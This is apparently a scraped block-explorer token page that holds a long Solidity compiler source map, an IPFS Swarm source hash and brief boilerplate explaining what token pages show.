-1:-1;2480:3:0;2362:12;2301:2;2362;:12;:::i;:::-;2348:26;;:11;:26;:::i;:::-;2466:17;;;;:::i;:::-;5169:4;5151:24;;;;:9;:24;;;;;;:38;;5124:65;:86;;;;-1:-1:-1;5201:9:0;;-1:-1:-1;;;;;5193:17:0;;;5201:9;;5193:17;;5124:86;5120:622;;;5227:8;:15;;-1:-1:-1;;;;5227:15:0;-1:-1:-1;;;5227:15:0;;;5281:16;;;5295:1;5281:16;;;;;;;;-1:-1:-1;;5281:16:0;;;;;;;;;;-1:-1:-1;5281:16:0;5257:40;;5330:4;5312;5317:1;5312:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;5312:23:0;;;-1:-1:-1;;;;;5312:23:0;;;;;2894:42;5350:4;5355:1;5350:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;5350:13:0;;;:7;;;;;;;;;;;:13;2976:42;5378:88;2480:3;2362:12;2301:2;2362;:12;:::i;:::-;2348:26;;:11;:26;:::i;:::-;2466:17;;;;:::i;:::-;5522:1;5546:4;5581;5609:15;5378:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5658:9:0;;:41;;-1:-1:-1;;;;;5658:9:0;;;;-1:-1:-1;5677:21:0;5658:41;;;;;-1:-1:-1;5677:21:0;5658:9;:41;:9;:41;5677:21;5658:9;:41;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;5714:8:0;:16;;-1:-1:-1;;;;5714:16:0;;;5120:622;-1:-1:-1;;;;;5758:21:0;;5774:4;5758:21;;;;:44;;-1:-1:-1;5783:11:0;;-1:-1:-1;;;5783:11:0;;;;:19;;5798:4;5783:19;5758:44;5754:286;;;5885:4;;5819:27;;5919:3;;-1:-1:-1;;;;;5877:12:0;;;5885:4;;5877:12;:37;;5904:10;;;;;;;5877:37;;;5892:9;;;;5877:37;5850:65;;;;:6;:65;:::i;:::-;5849:73;;;;:::i;:::-;5819:103;-1:-1:-1;5937:29:0;5819:103;5937:29;;:::i;:::-;5999:4;5981:24;;;;:9;:24;;;;;:47;;5937:29;;-1:-1:-1;6009:19:0;;5981:24;;;:47;;6009:19;;5981:47;:::i;:::-;;;;-1:-1:-1;;;5754:286:0;-1:-1:-1;;;;;6050:13:0;;;;;;:9;:13;;;;;:23;;6067:6;;6050:13;:23;;6067:6;;6050:23;:::i;:::-;;;;;;;;6104:2;-1:-1:-1;;;;;6089:26:0;6098:4;-1:-1:-1;;;;;6089:26:0;;6108:6;6089:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;6089:26:0;;;;;;;;-1:-1:-1;6133:4:0;4803:1342;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:127::-;1439:10;1434:3;1430:20;1427:1;1420:31;1470:4;1467:1;1460:15;1494:4;1491:1;1484:15;1510:719;1553:5;1606:3;1599:4;1591:6;1587:17;1583:27;1573:55;;1624:1;1621;1614:12;1573:55;1660:6;1647:20;1686:18;1723:2;1719;1716:10;1713:36;;;1729:18;;:::i;:::-;1804:2;1798:9;1772:2;1858:13;;-1:-1:-1;;1854:22:1;;;1878:2;1850:31;1846:40;1834:53;;;1902:18;;;1922:22;;;1899:46;1896:72;;;1948:18;;:::i;:::-;1988:10;1984:2;1977:22;2023:2;2015:6;2008:18;2069:3;2062:4;2057:2;2049:6;2045:15;2041:26;2038:35;2035:55;;;2086:1;2083;2076:12;2035:55;2150:2;2143:4;2135:6;2131:17;2124:4;2116:6;2112:17;2099:54;2197:1;2190:4;2185:2;2177:6;2173:15;2169:26;2162:37;2217:6;2208:15;;;;;;1510:719;;;;:::o;2234:543::-;2322:6;2330;2383:2;2371:9;2362:7;2358:23;2354:32;2351:52;;;2399:1;2396;2389:12;2351:52;2439:9;2426:23;2468:18;2509:2;2501:6;2498:14;2495:34;;;2525:1;2522;2515:12;2495:34;2548:50;2590:7;2581:6;2570:9;2566:22;2548:50;:::i;:::-;2538:60;;2651:2;2640:9;2636:18;2623:32;2607:48;;2680:2;2670:8;2667:16;2664:36;;;2696:1;2693;2686:12;2664:36;;2719:52;2763:7;2752:8;2741:9;2737:24;2719:52;:::i;:::-;2709:62;;;2234:543;;;;;:::o;2782:328::-;2859:6;2867;2875;2928:2;2916:9;2907:7;2903:23;2899:32;2896:52;;;2944:1;2941;2934:12;2896:52;2967:29;2986:9;2967:29;:::i;:::-;2957:39;;3015:38;3049:2;3038:9;3034:18;3015:38;:::i;:::-;3005:48;;3100:2;3089:9;3085:18;3072:32;3062:42;;2782:328;;;;;:::o;3304:186::-;3363:6;3416:2;3404:9;3395:7;3391:23;3387:32;3384:52;;;3432:1;3429;3422:12;3384:52;3455:29;3474:9;3455:29;:::i;3495:156::-;3561:20;;3621:4;3610:16;;3600:27;;3590:55;;3641:1;3638;3631:12;3656:252;3720:6;3728;3781:2;3769:9;3760:7;3756:23;3752:32;3749:52;;;3797:1;3794;3787:12;3749:52;3820:27;3837:9;3820:27;:::i;:::-;3810:37;;3866:36;3898:2;3887:9;3883:18;3866:36;:::i;:::-;3856:46;;3656:252;;;;;:::o;3913:260::-;3981:6;3989;4042:2;4030:9;4021:7;4017:23;4013:32;4010:52;;;4058:1;4055;4048:12;4010:52;4081:29;4100:9;4081:29;:::i;:::-;4071:39;;4129:38;4163:2;4152:9;4148:18;4129:38;:::i;4178:380::-;4257:1;4253:12;;;;4300;;;4321:61;;4375:4;4367:6;4363:17;4353:27;;4321:61;4428:2;4420:6;4417:14;4397:18;4394:38;4391:161;;4474:10;4469:3;4465:20;4462:1;4455:31;4509:4;4506:1;4499:15;4537:4;4534:1;4527:15;4391:161;;4178:380;;;:::o;4563:127::-;4624:10;4619:3;4615:20;4612:1;4605:31;4655:4;4652:1;4645:15;4679:4;4676:1;4669:15;4695:422;4784:1;4827:5;4784:1;4841:270;4862:7;4852:8;4849:21;4841:270;;;4921:4;4917:1;4913:6;4909:17;4903:4;4900:27;4897:53;;;4930:18;;:::i;:::-;4980:7;4970:8;4966:22;4963:55;;;5000:16;;;;4963:55;5079:22;;;;5039:15;;;;4841:270;;;4845:3;4695:422;;;;;:::o;5122:806::-;5171:5;5201:8;5191:80;;-1:-1:-1;5242:1:1;5256:5;;5191:80;5290:4;5280:76;;-1:-1:-1;5327:1:1;5341:5;;5280:76;5372:4;5390:1;5385:59;;;;5458:1;5453:130;;;;5365:218;;5385:59;5415:1;5406:10;;5429:5;;;5453:130;5490:3;5480:8;5477:17;5474:43;;;5497:18;;:::i;:::-;-1:-1:-1;;5553:1:1;5539:16;;5568:5;;5365:218;;5667:2;5657:8;5654:16;5648:3;5642:4;5639:13;5635:36;5629:2;5619:8;5616:16;5611:2;5605:4;5602:12;5598:35;5595:77;5592:159;;;-1:-1:-1;5704:19:1;;;5736:5;;5592:159;5783:34;5808:8;5802:4;5783:34;:::i;:::-;5853:6;5849:1;5845:6;5841:19;5832:7;5829:32;5826:58;;;5864:18;;:::i;:::-;5902:20;;5122:806;-1:-1:-1;;;5122:806:1:o;5933:140::-;5991:5;6020:47;6061:4;6051:8;6047:19;6041:4;6020:47;:::i;6078:168::-;6151:9;;;6182;;6199:15;;;6193:22;;6179:37;6169:71;;6220:18;;:::i;6377:545::-;6479:2;6474:3;6471:11;6468:448;;;6515:1;6540:5;6536:2;6529:17;6585:4;6581:2;6571:19;6655:2;6643:10;6639:19;6636:1;6632:27;6626:4;6622:38;6691:4;6679:10;6676:20;6673:47;;;-1:-1:-1;6714:4:1;6673:47;6769:2;6764:3;6760:12;6757:1;6753:20;6747:4;6743:31;6733:41;;6824:82;6842:2;6835:5;6832:13;6824:82;;;6887:17;;;6868:1;6857:13;6824:82;;;6828:3;;;6377:545;;;:::o;7098:1352::-;7224:3;7218:10;7251:18;7243:6;7240:30;7237:56;;;7273:18;;:::i;:::-;7302:97;7392:6;7352:38;7384:4;7378:11;7352:38;:::i;:::-;7346:4;7302:97;:::i;:::-;7454:4;;7518:2;7507:14;;7535:1;7530:663;;;;8237:1;8254:6;8251:89;;;-1:-1:-1;8306:19:1;;;8300:26;8251:89;-1:-1:-1;;7055:1:1;7051:11;;;7047:24;7043:29;7033:40;7079:1;7075:11;;;7030:57;8353:81;;7500:944;;7530:663;6324:1;6317:14;;;6361:4;6348:18;;-1:-1:-1;;7566:20:1;;;7684:236;7698:7;7695:1;7692:14;7684:236;;;7787:19;;;7781:26;7766:42;;7879:27;;;;7847:1;7835:14;;;;7714:19;;7684:236;;;7688:3;7948:6;7939:7;7936:19;7933:201;;;8009:19;;;8003:26;-1:-1:-1;;8092:1:1;8088:14;;;8104:3;8084:24;8080:37;8076:42;8061:58;8046:74;;7933:201;-1:-1:-1;;;;;8180:1:1;8164:14;;;8160:22;8147:36;;-1:-1:-1;7098:1352:1:o;8455:128::-;8522:9;;;8543:11;;;8540:37;;;8557:18;;:::i;8588:217::-;8628:1;8654;8644:132;;8698:10;8693:3;8689:20;8686:1;8679:31;8733:4;8730:1;8723:15;8761:4;8758:1;8751:15;8644:132;-1:-1:-1;8790:9:1;;8588:217::o;8810:127::-;8871:10;8866:3;8862:20;8859:1;8852:31;8902:4;8899:1;8892:15;8926:4;8923:1;8916:15;8942:980;9204:4;9252:3;9241:9;9237:19;9283:6;9272:9;9265:25;9309:2;9347:6;9342:2;9331:9;9327:18;9320:34;9390:3;9385:2;9374:9;9370:18;9363:31;9414:6;9449;9443:13;9480:6;9472;9465:22;9518:3;9507:9;9503:19;9496:26;;9557:2;9549:6;9545:15;9531:29;;9578:1;9588:195;9602:6;9599:1;9596:13;9588:195;;;9667:13;;-1:-1:-1;;;;;9663:39:1;9651:52;;9758:15;;;;9723:12;;;;9699:1;9617:9;9588:195;;;-1:-1:-1;;;;;;;9839:32:1;;;;9834:2;9819:18;;9812:60;-1:-1:-1;;;9903:3:1;9888:19;9881:35;9800:3;8942:980;-1:-1:-1;;;8942:980:1:o;9927:125::-;9992:9;;;10013:10;;;10010:36;;;10026:18;;:::i

Swarm Source

ipfs://468067c2c422c23ad716e516407d79a9349ebd507a2b5653aff65d779a026883
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.